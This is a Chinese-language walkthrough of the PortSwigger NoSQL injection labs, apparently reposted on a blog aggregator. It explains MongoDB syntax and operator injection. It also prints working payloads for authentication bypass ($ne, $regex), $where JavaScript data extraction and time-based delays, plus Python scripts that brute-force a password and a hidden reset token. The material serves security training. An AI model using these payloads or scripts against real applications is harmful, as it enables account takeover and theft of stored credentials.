【NoSQL】portswigger NoSQL注入 labs 全解

news2024/10/7 10:19:22

目录

NoSQL

NoSQL 数据库模型

NoSQL 注入的类型

NoSQL 语法注入

检测 MongoDB 中的语法注入

lab1:检测 NoSQL 注入

NoSQL 运算符注入

提交查询运算符

检测 MongoDB 中的运算符注入

lab2:利用 NoSQL 运算符注入绕过身份验证

利用语法注入来提取数据

MongoDB 中的数据泄露

 lab3:利用 NoSQL 注入提取数据

利用 NoSQL 运算符注入来提取数据

在 MongoDB 中注入运算符

lab4:利用 NoSQL 运算符注入来提取未知字段

基于时间的注入


NoSQL

NoSQL 数据库以不同于传统 SQL 关系表的格式存储和检索数据。它们旨在处理大量非结构化或半结构化数据。因此,它们的关系约束和一致性检查通常比 SQL 少,并且在可扩展性、灵活性和性能方面具有显著优势。

与 SQL 数据库一样,用户使用应用程序传递给数据库的查询与 NoSQL 数据库中的数据进行交互。但是,不同的 NoSQL 数据库使用各种查询语言,而不是像 SQL(结构化查询语言)这样的通用标准。这可能是自定义查询语言或 XML 或 JSON 等通用语言。

NoSQL 数据库模型

NoSQL数据库种类繁多,为了检测NoSQL数据库中的漏洞,了解其模型框架和语言会有所帮助。

一些常见的 NoSQL 数据库类型包括:

  • 文档存储 - 这些将数据存储在灵活的半结构化文档中。它们通常使用 JSON、BSON 和 XML 等格式,并使用 API 或查询语言进行查询。示例包括 MongoDB 和 Couchbase。
  • 键值存储 - 这些以键值格式存储数据。每个数据字段都与一个唯一的键字符串相关联。根据唯一键检索值。示例包括 Redis 和 Amazon DynamoDB。
  • 宽列存储 - 这些将相关数据组织到灵活的列族中,而不是传统的行中。示例包括 Apache Cassandra 和 Apache HBase。
  • 图形数据库 - 这些数据库使用节点来存储数据实体,使用边来存储实体之间的关系。示例包括 Neo4j 和 Amazon Neptune。

NoSQL 注入的类型

NoSQL 注入有两种不同类型:

  • 语法注入 - 当您可以破坏 NoSQL 查询语法时,就会发生这种情况,从而使您可以注入自己的有效负载。 该方法与SQL 注入中使用的方法类似。 但是,攻击的性质差异很大,因为 NoSQL 数据库使用多种查询语言、查询语法类型和不同的数据结构。
  • 运算符注入 - 当您可以使用 NoSQL 查询运算符来操作查询时会发生这种情况。

NoSQL 语法注入

您可以通过尝试破坏查询语法来检测 NoSQL 注入漏洞。为此,请系统地测试每个输入,方法是提交模糊字符串和特殊字符,如果应用程序未对其进行充分清理或过滤,则会触发数据库错误或其他可检测的行为。

如果您知道目标数据库的 API 语言,请使用与该语言相关的特殊字符和模糊字符串。否则,请使用各种模糊字符串来定位多种 API 语言。

检测 MongoDB 中的语法注入

确定处理哪些字符

要确定应用程序将哪些字符解释为语法,您可以注入单个字符。例如,您可以提交',这将导致以下 MongoDB 查询:

this.category == '''

如果这导致原始响应发生变化,则可能表明该'字符破坏了查询语法并导致语法错误。您可以通过在输入中提交有效的查询字符串来确认这一点,例如通过转义引号:

this.category == '\''

如果这不会导致语法错误,则可能意味着该应用程序容易受到注入攻击。

确认条件行为

检测到漏洞后,下一步是确定是否可以使用 NoSQL 语法影响布尔条件。

要测试这一点,请发送两个请求,一个条件为假,一个条件为真。例如,您可以使用条件语句

 ' && 0 && 'x,' && 1 && 'x

如下所示:

https://insecure-website.com/product/lookup?category=fizzy'+%26%26+0+%26%26+'xhttps://insecure-website.com/product/lookup?category=fizzy'+%26%26+1+%26%26+'x

如果应用程序的行为有所不同,则表明假条件会影响查询逻辑,而真条件则不会。这表明注入这种语法会影响服务器端查询。

覆盖现有条件

现在您已经确定可以影响布尔条件,您可以尝试覆盖现有条件来利用该漏洞。例如,您可以注入始终求值为 true 的 JavaScript 条件,例如 

'||1||'
https://insecure-website.com/product/lookup?category=fizzy%27%7c%7c%31%7c%7c%27

这导致以下 MongoDB 查询:

this.category == 'fizzy'||'1'=='1'

由于注入的条件始终为真,修改后的查询将返回所有项目。这使您可以查看任何类别中的所有产品,包括隐藏或未知类别。

lab1:检测 NoSQL 注入

点击Gifts分类,抓包

 传一个'直接报500

/filter?category='

 转义引号后回到正常回显

/filter?category=\'

 url编码后打入

/filter?category=Gifts'&& 0 && 'x

 url编码后打入

/filter?category=Gifts'&& 1 && 'x

可以看到正常返回了gifts的页面 

打入

/filter?category=Gifts'||1||'

会发现多出了其他的商品

NoSQL 运算符注入

NoSQL 数据库经常使用查询运算符,这些运算符提供了指定数据必须满足的条件才能包含在查询结果中的方法。MongoDB 查询运算符的示例包括:

  • $where- 匹配满足 JavaScript 表达式的文档。
  • $ne- 匹配所有不等于指定值的值。
  • $in- 匹配数组中指定的所有值。
  • $regex- 选择值与指定正则表达式匹配的文档。

您可能能够注入查询运算符来操纵 NoSQL 查询。为此,系统地将不同的运算符提交到一系列用户输入中,然后检查响应中是否存在错误消息或其他更改。

提交查询运算符

在 JSON 消息中,您可以将查询运算符作为嵌套对象插入。例如,{"username":"wiener"}成为{"username":{"$ne":"invalid"}}

对于基于 URL 的输入,您可以通过 URL 参数插入查询运算符。例如,username=wiener成为 username[$ne]=invalid。如果这不起作用,您可以尝试以下操作:

  1. 将请求方法从 转换GETPOST
  2. Content-Type标题改为application/json
  3. 将 JSON 添加至消息正文。
  4. 在 JSON 中注入查询运算符。

检测 MongoDB 中的运算符注入

考虑一个存在漏洞的应用程序,它在请求正文中接受用户名和密码POST

{"username":"wiener","password":"peter"}

使用一系列运算符测试每个输入。例如,要测试用户名输入是否处理查询运算符,您可以尝试以下注入:

{"username":{"$ne":"invalid"},"password":{"peter"}}

如果$ne应用了 运算符,这将查询用户名不等于invalid的所有用户。

如果用户名和密码输入都处理操作员,则可以使用以下有效载荷绕过身份验证:

{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}

此查询返回用户名和密码均不等于invalid的所有登录凭据。因此,您作为集合中的第一个用户登录到应用程序。

要定位某个帐户,您可以构建一个包含已知用户名或您猜到的用户名的有效负载。例如:

{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}

lab2:利用 NoSQL 运算符注入绕过身份验证

先是wiener:peter登录,抓包

payload:

{"username":{"$ne":""},"password":"peter"}

 成功登录

打正则

payload:

{"username":{"$regex":"wien.*"},"password":"peter"}

发现也是以wiener登录 

payload:

{"username":{"$regex":"admin.*"},"password":{"$ne":""}}

 成功以admin登录

利用语法注入来提取数据

在许多 NoSQL 数据库中,某些查询运算符或函数可以运行有限的 JavaScript 代码,例如 MongoDB 的$where运算符和mapReduce()函数。这意味着,如果易受攻击的应用程序使用这些运算符或函数,数据库可能会将 JavaScript 作为查询的一部分进行评估。因此,您可能能够使用 JavaScript 函数从数据库中提取数据。

MongoDB 中的数据泄露

假设有一个存在漏洞的应用程序,它允许用户查找其他已注册的用户名并显示其角色。这会触发对 URL 的请求:

https://insecure-website.com/user/lookup?username=admin

这会导致对集合进行以下 NoSQL 查询users

{"$where":"this.username == 'admin'"}

由于查询使用了$where运算符,您可以尝试将 JavaScript 函数注入此查询,以便它返回敏感数据。例如,您可以发送以下有效负载:

admin' && this.password[0] == 'a' || 'a'=='b

这将返回用户密码字符串的第一个字符,使您能够逐个字符地提取密码。

你也可以使用 JavaScript的match()函数来提取信息。例如,以下有效负载可让你识别密码是否包含数字:

admin' && this.password.match(/\d/) || 'a'=='b

 lab3:利用 NoSQL 注入提取数据

wiener:peter登录

抓包,在myaccount界面forward两次,抓到查询用户信息的api的包

 url编码后打入payload: 

发现存在注入

administrator' && '1'=='1

 测出administrator的密码长度为8

administrator' && this.password.length < 9 || 'a'=='b
administrator' && this.password.length < 8 || 'a'=='b

写个脚本爆破出密码

import requests
import urllib.parse  # 导入 urllib 模块以进行 URL 编码

# 创建会话
def create_session():
    session = requests.session()
    session.headers.update({"Cookie": "session=bXFWRsjv2sYUTid0NrBr17f6b7zstK2d"})
    return session

# 生成并URL编码payload
def generate_payload(l, char):
    raw_payload = "administrator' && this.password[{}]=='{}".format(l, char)
    encoded_payload = urllib.parse.quote(raw_payload)  # 将 payload 进行 URL 编码
    return encoded_payload

# 发送请求并检查响应
def check_password(session, url, payload):
    response = session.get(url + payload)
    print(f"请求 payload: {payload} -> 回显: {response.text[:100]}...")  # 打印每次请求的回显
    return 'admin@normal-user.net' in response.text

# 主函数执行流程
def main():
    s = create_session()
    url = "https://0a3a0010048732a880c5995500320029.web-security-academy.net/user/lookup?user="
    payloads = 'abcdefghijklmnopqrstuvwxyz1234567890'
    password = ''
    
    for l in range(0, 8):  # 假设密码为8位
        for i in payloads:
            payload = generate_payload(l, i)
            if check_password(s, url, payload):
                password += i
                print(f'找到第 {l+1} 位: {i}')  # 打印成功爆破出的密码位
                break  # 找到匹配字符后跳出当前循环
    print('完整密码:', password)

# 运行主函数
if __name__ == "__main__":
    main()

administrator/rufvfnbl成功登录 

 

利用 NoSQL 运算符注入来提取数据

即使原始查询未使用任何允许您运行任意 JavaScript 的运算符,您也可能能够自行注入其中一个运算符。然后,您可以使用布尔条件来确定应用程序是否执行您通过此运算符注入的任何 JavaScript。

在 MongoDB 中注入运算符

考虑一个存在漏洞的应用程序,它在请求正文中接受用户名和密码POST

{"username":"wiener","password":"peter"}

要测试是否可以注入运算符,您可以尝试将$where运算符添加为附加参数,然后发送一个条件计算结果为 false 的请求,以及另一个条件计算结果为 true 的请求。例如:

{"username":"wiener","password":"peter", "$where":"0"}{"username":"wiener","password":"peter", "$where":"1"}

如果响应之间存在差异,则可能表明$where正在评估子句中的 JavaScript 表达式。

提取字段名称

如果您注入了可运行 JavaScript 的运算符,则可能能够使用该keys()方法提取数据字段的名称。例如,您可以提交以下有效负载:

"$where":"Object.keys(this)[0].match('^.{0}a.*')"

这将检查用户对象中的第一个数据字段并返回字段名称的第一个字符。这使您可以逐个字符地提取字段名称。

使用运算符窃取数据

或者,您可以使用不允许运行 JavaScript 的运算符 $regex来提取数据。例如,您可以使用运算符逐个字符地提取数据。

假设有一个存在漏洞的应用程序,它在请求正文中接受用户名和密码POST。例如:

{"username":"myuser","password":"mypass"}

您可以首先测试该$regex运算符是否按如下方式处理:

{"username":"admin","password":{"$regex":"^.*"}}

如果对此请求的响应与您提交错误密码时收到的响应不同,则表明该应用程序可能存在漏洞。您可以使用$regex运算符逐个字符提取数据。例如,以下有效负载检查密码是否以 开头 a

{"username":"admin","password":{"$regex":"^a*"}}

lab4:利用 NoSQL 运算符注入来提取未知字段

注意到登录时以下两个payload都是正确的,回显账号被锁定,需要重置密码

{"username":"carlos","password":{"$ne":""}}
{"username":"carlos","password":{"$ne":""},"$where":"function(){return 1;}"}

 如果return 0的话就是返回invalid

{"username":"carlos","password":{"$ne":""},"$where":"function(){return 0;}"}

 根据这个写脚本爆出隐藏的字段&字段值

先去重置密码

 

此时会多出一个hidden字段

经过尝试,0字段为_id,1字段为username,2字段为password,3字段为email,4字段就是hidden字段

测出字段长度为9

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(Object.keys(this)[4].length==9)return 1; else 0;}"}

写脚本跑出字段名为changePwd

import requests
import string

# 初始化
url = "https://0a9300730318d3e881c16bed000300bf.web-security-academy.net/login"
headers = {
    "Host": "0a9300730318d3e881c16bed000300bf.web-security-academy.net",
    "Cookie": "session=cmfecICeL6V2kSTVAkR315UykE1HruUF",
    "Content-Type": "application/json",
    "Origin": "https://0a9300730318d3e881c16bed000300bf.web-security-academy.net",
    "Referer": "https://0a9300730318d3e881c16bed000300bf.web-security-academy.net/login"
}

# 字母数字组合
characters = string.ascii_letters + string.digits

# 构建用户名和初始密码
username = "carlos"
password = ""  # 逐步拼接的密码

# 逐位爆破密码
while len(password) < 9:
    for char in characters:
        attempt = password + char  # 在当前密码基础上追加一个字符进行测试
        data = {
            "username": username,
            "password": {"$ne": ""},
            "$where": f"function(){{if(Object.keys(this)[4].match(/^{attempt}/))return 1; else 0;}}"
        }
        response = requests.post(url, headers=headers, json=data)

        # 打印每次尝试的字符和响应
        print(f"尝试: {attempt}, 返回: {response.text[:100]}...")

        # 如果返回结果中包含"reset",表示找到正确字符
        if "reset" in response.text:
            password += char  # 保存成功的字符
            print(f"找到字符: {char}, 当前密码: {password}")
            break  # 找到正确字符后,开始下一位的测试

print(f"完整找到的密码: {password}")

 

再测出字段值的长度为16

{"username":"carlos","password":{"$ne":""},"$where":"function(){if(this.changePwd.length==16)return 1; else 0;}"}

 

 微调一下脚本,爆出字段值为3a943a87ebcaad81

import requests
import string

# 初始化
url = "https://0a9300730318d3e881c16bed000300bf.web-security-academy.net/login"
headers = {
    "Host": "0a9300730318d3e881c16bed000300bf.web-security-academy.net",
    "Cookie": "session=cmfecICeL6V2kSTVAkR315UykE1HruUF",
    "Content-Type": "application/json",
    "Origin": "https://0a9300730318d3e881c16bed000300bf.web-security-academy.net",
    "Referer": "https://0a9300730318d3e881c16bed000300bf.web-security-academy.net/login"
}

# 字母数字组合
characters = string.digits + string.ascii_letters

# 构建用户名和初始密码
username = "carlos"
password = ""  # 逐步拼接的密码

# 逐位爆破密码
while len(password) < 16:
    for char in characters:
        attempt = password + char  # 在当前密码基础上追加一个字符进行测试
        data = {
            "username": username,
            "password": {"$ne": ""},
            "$where": f"function(){{if(this.changePwd.match(/^{attempt}/))return 1; else 0;}}"
        }
        response = requests.post(url, headers=headers, json=data)

        # 打印每次尝试的字符和响应
        print(f"尝试: {attempt}, 返回: {response.text[:100]}...")

        # 如果返回结果中包含"reset",表示找到正确字符
        if "reset" in response.text:
            password += char  # 保存成功的字符
            print(f"找到字符: {char}, 当前密码: {password}")
            break  # 找到正确字符后,开始下一位的测试

print(f"完整找到的密码: {password}")

回到浏览器,加上?changePwd=3a943a87ebcaad81

修改密码为123456

 最后carlos/123456成功登录

基于时间的注入

有时触发数据库错误不会导致应用程序响应发生变化。在这种情况下,您仍然可以通过使用 JavaScript 注入触发条件时间延迟来检测和利用该漏洞。

要进行基于时间的 NoSQL 注入:

  1. 多次加载页面以确定基准加载时间。
  2. 将基于时间的有效负载插入输入。基于时间的有效负载在执行时会导致响应故意延迟。例如,{"$where": "sleep(5000)"}成功注入后会故意延迟 5000 毫秒。
  3. 确定响应加载是否变慢。这表示注入成功。

如果密码包含字母,以下基于时间的有效载荷将触发时间延迟a

admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'
admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2193960.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

华为---MUX VLAN简介及示例配置

目录 1. 产生背景 2. 应用场景 3. 主要功能 4. 基本概念 5. 配置步骤及相关命令 6.示例配置 6.1 示例场景 6.2 网络拓扑图 6.3 配置代码 6.4 配置及解析 6.5 测试验证 配置注意事项 1. 产生背景 MUX VLAN&#xff08;Multiplex VLAN&#xff09;提供了一种通过VLA…

【C++力扣】917.仅仅反转字母|387.字符串中第一个唯一字符|415.字符串相加

✨ Blog’s 主页: 白乐天_ξ( ✿&#xff1e;◡❛) &#x1f308; 个人Motto&#xff1a;他强任他强&#xff0c;清风拂山冈&#xff01; &#x1f525; 所属专栏&#xff1a;C深入学习笔记 &#x1f4ab; 欢迎来到我的学习笔记&#xff01; 一、917.仅仅反转字母 1.1 题目描述…

VMware tools菜单为灰色无法安装

这个工具之前为灰色&#xff0c;无法安装&#xff0c;导致无法实现跟主机的共享文件夹等操作。极为不便。 根据其他教程提示&#xff1a;看到软件是这个配置。 修改为自动检测&#xff0c;tools就可以安装了。之前没注意到。 也有说dvd光盘也要设置。但是经过我测试。只设置软…

各省份消费差距(城乡差距)数据(2005-2022年)

消费差距&#xff0c;特别是城乡消费差距&#xff0c;是衡量一个国家或地区经济发展均衡性的重要指标。 2005年-2022年各省份消费差距&#xff08;城乡差距&#xff09;数据&#xff08;大数据&#xff09;.zip资源-CSDN文库https://download.csdn.net/download/2401_84585615/…

谷粒商城のRabbitMQ基础篇

文章目录 前言一、Rabbit MQ简介1、基本概念2、组件架构 二、使用步骤1.引入依赖2.application.properties3、docker 安装Rabbit MQ3、使用案例3.1、定义队列3.2、定义交换机3.3、绑定3.4、发送消息3.5、接受消息3.5、自定义消息序列化方式3.6、演示Fanout 交换机模式3.7、演示…

总结TypeScript相关知识

目录 引入认识特点安装使用变量声明类型推导 JS 和 TS 共有类型number类型boolean类型string类型Array类型null和undefined类型object类型symbol类型对象类型函数类型 可选和只读type 和 interface索引签名类型断言非空类型断言类型缩小严格赋值检测现象TS 新增类型字面量类型a…

[统计分析] 出现典型锯齿图的一种情况;资源泄露

接上回说&#xff0c;https://mzhan017.blog.csdn.net/article/details/142689870&#xff1b; 在问题分析的过程中发现产品里的一个统计计数出现了下面的锯齿型。而这个问题的表象之一是每隔一段时间&#xff0c;业务程序重启。所以产生这个锯齿形的原因之一就是业务程序重启&…

【C++ STL算法】二分查找 lower_bound、upper_bound、equal_range、binary_search

文章目录 【 1. 首个不小于 lower_bound 】【 2. 首个大于 upper_bound 】【 3. 所有等于 equel_range 】【 4. 二分查找 binary_search 】 当 指定区域内的数据处于有序状态 时&#xff0c;如果想查找某个目标元素&#xff0c;更推荐使用二分查找的方法&#xff08;相比顺序查…

openpnp - juki吸嘴尺寸

文章目录 openpnp - juki吸嘴尺寸概述笔记吸嘴可以对应的最小元件尺寸END openpnp - juki吸嘴尺寸 概述 在网上买的juki吸嘴的商品页面&#xff0c;并没有具体的吸嘴尺寸。 现在贴片时&#xff0c;要根据吸嘴外径大小来决定具体元件要用哪种吸嘴&#xff0c;先自己量一下。 …

研究生系统化入门教程(四)【机器学习】分类算法:决策树(信息熵,信息增益);集成学习方法之随机森林:估计器的工作流程是什么?为何采用BootStrap抽样?

“一般人都不是他们想要做的那种人,而是他们不得不做的那种人。——毛姆《月亮与六便士》” 🎯作者主页: 追光者♂🔥 🌸个人简介: 📝[1] CSDN 博客专家📝 🏆[2] 人工智能领域优质创作者🏆 🌟[3] 2022年度博客之星人工智能领域TOP4🌟 �…

鸿蒙next开发第一课03.ArkTs语法介绍-案例

前面已经学习了ArkTs的基本语法和DevEcoStudio的基本操作&#xff0c;接下来按照官方提示开发一个基本案例。 该案例是系统自带的demo&#xff0c;下载下来源代码后可以直接运行。 接下来我来演示如何运行demo。我在demo中加入了自己的注释。 切记&#xff1a;文件夹不能有中…

Crypto虐狗记---”你“和小鱼(七)

前言&#xff1a;剧情七 提示&#xff1a; 下载&#xff1a; 脚本&#xff1a; cyberpeace{125631357777427553} RSA算法_百度百科 (baidu.com)

VMware Tools 安装和配置

1. 使用 ISO 映射文件&#xff0c;并且选择.iso文件 2. 启动虚拟机&#xff0c;如果 VMware Tools 是灰色的&#xff0c;那么卸载 open-vm-tools&#xff08;不要重装&#xff09;&#xff0c;重新启动虚拟机。卸载可以参考&#xff1a;重装 open-vm-tools-CSDN博客 3. 拷贝挂载…

[C++]使用纯opencv部署yolov8-cls图像分类onnx模型

【算法介绍】 使用纯OpenCV部署YOLOv8-cls图像分类ONNX模型涉及几个关键步骤。 首先&#xff0c;你需要将YOLOv8-cls模型从PyTorch格式转换为ONNX格式&#xff0c;这是为了确保模型在不同深度学习框架之间的互操作性。这个转换过程通常是通过ultralytics框架中的model.export…

请求响应-08.响应-案例

一.案例 获取员工数据&#xff0c;返回统一响应结果&#xff0c;在页面上渲染展示 二.展示最终效果 三.步骤 步骤一&#xff1a; <dependency><groupId>org.dom4j</groupId><artifactId>dom4j</artifactId><version>2.1.3<…

C语言 | Leetcode C语言题解之第460题LFU缓存

题目&#xff1a; 题解&#xff1a; /* 数值链表的节点定义。 */ typedef struct ValueListNode_s {int key;int value;int counter;struct ValueListNode_s *prev;struct ValueListNode_s *next; } ValueListNode;/* 计数链表的节点定义。 其中&#xff0c;head是数值链表的头…

【Canvas与色彩】十六等分多彩隔断圆环

【成图】 【代码】 <!DOCTYPE html> <html lang"utf-8"> <meta http-equiv"Content-Type" content"text/html; charsetutf-8"/> <head><title>隔断圆环Draft5十六等分多彩</title><style type"text…

MyBatis-MP这个ORM框架强过你写的100行SQL,操作简单到不敢相信

MyBatis-MP这个ORM框架强过你写的100行SQL&#xff0c;操作简单到不敢相信 在繁杂的 Java 项目中&#xff0c;如何优雅、高效地进行数据库操作&#xff1f;MyBatis-MP&#xff0c;一个基于 MyBatis 的轻量级 ORM 框架&#xff0c;或许就是你的救星&#xff01;本文将介绍 MyBat…

Android车载——VehicleHal运行流程(Android 11)

1 概述 本篇主要讲解VehicleHal的主要运行流程&#xff0c;包括设置属性、获取属性、订阅属性、取消订阅、持续上报属性订阅等。 2 获取属性流程 2.1 获取属性流程源码分析 作为服务注册到hwServiceManager中的类是VehicleHalManager&#xff0c;所以&#xff0c;CarServic…

第十四章 Redis之全局唯一ID(分布式集群)

目录 一、概念 ‌二、全局唯一ID的生成方法‌ 三、Redis生成全局ID 3.1. 生成策略 3.2. 代码 一、概念 全局唯一ID是指在分布式系统中&#xff0c;每个实体都有一个唯一的标识符&#xff0c;确保在不同的节点或服务之间能够唯一标识一个实体。这种唯一性对于数据的一致性…